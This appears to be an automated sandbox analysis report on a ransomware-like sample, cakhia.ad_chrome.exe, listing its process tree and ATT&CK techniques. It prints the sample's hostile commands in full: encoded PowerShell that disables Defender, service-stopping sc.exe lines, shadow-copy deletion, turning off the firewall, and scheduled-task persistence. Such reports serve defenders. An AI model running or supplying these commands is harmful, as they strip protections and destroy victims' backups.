PID 4188 wrote to memory of 3932	4188	cakhia.ad_chrome.exe	122
PID 4188 wrote to memory of 1368	4188	cakhia.ad_chrome.exe	124
PID 4396 wrote to memory of 3044	4396	chrome.exe	198
PID 4396 wrote to memory of 3044	4396	chrome.exe	198
PID 4188 wrote to memory of 4144	4188	cakhia.ad_chrome.exe	132
PID 4188 wrote to memory of 4244	4188	cakhia.ad_chrome.exe	133
PID 4188 wrote to memory of 2384	4188	cakhia.ad_chrome.exe	171
PID 4188 wrote to memory of 5176	4188	cakhia.ad_chrome.exe	139
PID 4188 wrote to memory of 3312	4188	cakhia.ad_chrome.exe	141
PID 4188 wrote to memory of 4852	4188	cakhia.ad_chrome.exe	143
PID 4188 wrote to memory of 4556	4188	cakhia.ad_chrome.exe	144
PID 4188 wrote to memory of 2456	4188	cakhia.ad_chrome.exe	145
PID 4188 wrote to memory of 4832	4188	cakhia.ad_chrome.exe	146
PID 4188 wrote to memory of 1356	4188	cakhia.ad_chrome.exe	147
PID 4188 wrote to memory of 3280	4188	cakhia.ad_chrome.exe	148
PID 4188 wrote to memory of 2348	4188	cakhia.ad_chrome.exe	151
PID 4188 wrote to memory of 1300	4188	cakhia.ad_chrome.exe	157
PID 4188 wrote to memory of 5336	4188	cakhia.ad_chrome.exe	158
PID 4188 wrote to memory of 5620	4188	cakhia.ad_chrome.exe	159
PID 4188 wrote to memory of 5880	4188	cakhia.ad_chrome.exe	160
PID 4188 wrote to memory of 3272	4188	cakhia.ad_chrome.exe	161
PID 4188 wrote to memory of 4564	4188	cakhia.ad_chrome.exe	163
PID 4188 wrote to memory of 8	4188	cakhia.ad_chrome.exe	164
PID 3312 wrote to memory of 788	3312	cmd.exe	162
PID 1356 wrote to memory of 2384	1356	cmd.exe	171
PID 3280 wrote to memory of 5640	3280	cmd.exe	172
PID 2456 wrote to memory of 384	2456	cmd.exe	173
PID 4832 wrote to memory of 3396	4832	cmd.exe	174
PID 4852 wrote to memory of 3292	4852	cmd.exe	175
PID 4556 wrote to memory of 5428	4556	cmd.exe	176
PID 3396 wrote to memory of 1472	3396	net.exe	177
PID 3312 wrote to memory of 2524	3312	cmd.exe	178
PID 5880 wrote to memory of 2848	5880	net.exe	179
PID 4396 wrote to memory of 708	4396	chrome.exe	180
PID 4396 wrote to memory of 5760	4396	chrome.exe	181
PID 4396 wrote to memory of 5760	4396	chrome.exe	181
PID 4396 wrote to memory of 388	4396	chrome.exe	182
PID 4396 wrote to memory of 388	4396	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://cakhia.ad
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff9d40bc728,0x7ff9d40bc734,0x7ff9d40bc740
    3⤵
    PID:4828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,16149062888670831441,5105288109940178109,262144 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
    3⤵
    PID:1808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,12210539292238418635,16738292974176405836,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2288,i,2536533394224762762,9064224661746282584,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:13
    3⤵
    PID:5200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3136,i,8506740438089369048,18007501276989155096,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    PID:3180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,6792090581865478497,10314660398306195882,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=3312 /prefetch:1
    3⤵
    PID:3416
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4612,i,17810153489048273091,15458897911365225902,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:14
    3⤵
    PID:3272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5472,i,6470704280535467664,6951099948411507170,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:1
    3⤵
    PID:3044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4536,i,16120815543278292040,8525495992345448372,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
    3⤵
    PID:708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5656,i,2591014140784258500,8906917193118779807,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:1
    3⤵
    PID:5760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5740,i,9051264065728633855,1506732560166109681,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5788,i,2188464512989580841,12406799610197950582,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=6020 /prefetch:1
    3⤵
    PID:5816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6044,i,10935601259643143213,12141539487758151450,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:14
    3⤵
    PID:4420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5416,i,16699214764968568842,6746194030906603429,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:1
    3⤵
    PID:4776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4536,i,1752545865930480429,13815970880610333165,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
    3⤵
    PID:1044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5384,i,12129139726588305968,12053750049292257073,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:1
    3⤵
    PID:3516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5728,i,4205603597606782307,14652332103083861032,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:1
    3⤵
    PID:4088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5428,i,3189170705634238794,7910674473267335185,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14
    3⤵
    PID:2248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5636,i,6584641551194270260,222863830791135870,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:1
    3⤵
    PID:5588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6020,i,14182469255532805614,5793461599820748894,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:1
    3⤵
    PID:4808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6040,i,14681162900640656446,17182866629750220820,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:1
    3⤵
    PID:2944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5580,i,8726659024932299826,17013281287901935653,2097152 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:9
    3⤵
    PID:4840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5460,i,6087415383255912730,7820305418087404215,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:14
    3⤵
    PID:4268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5428,i,6360362735121574750,6955422273152406398,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5824 /prefetch:14
    3⤵
    PID:3044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,9332417880722909416,7809139929439389911,524288 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:14
    3⤵
    PID:5588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5236,i,4203533684697520396,5339086969209296511,262144 --field-trial-handle=1924,i,17974694850561136898,321524130535841811,262144 --variations-seed-version --mojo-platform-channel-handle=876 /prefetch:10
    3⤵
    PID:4540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3168
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4484
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4508
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5268
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:688
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5112
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3016
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe"
    3⤵
    PID:4896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:612
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1704
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3932
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1368
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4144
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4244
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2384
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4508
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:788
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5428
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3396
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3280
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5640
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2348
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1300
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5336
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5620
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2848
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:8

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5168

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2876

C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe
C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe
1⤵
PID:5428

C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe
C:\Users\Admin\AppData\Local\Temp\cakhia.ad_chrome.exe
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery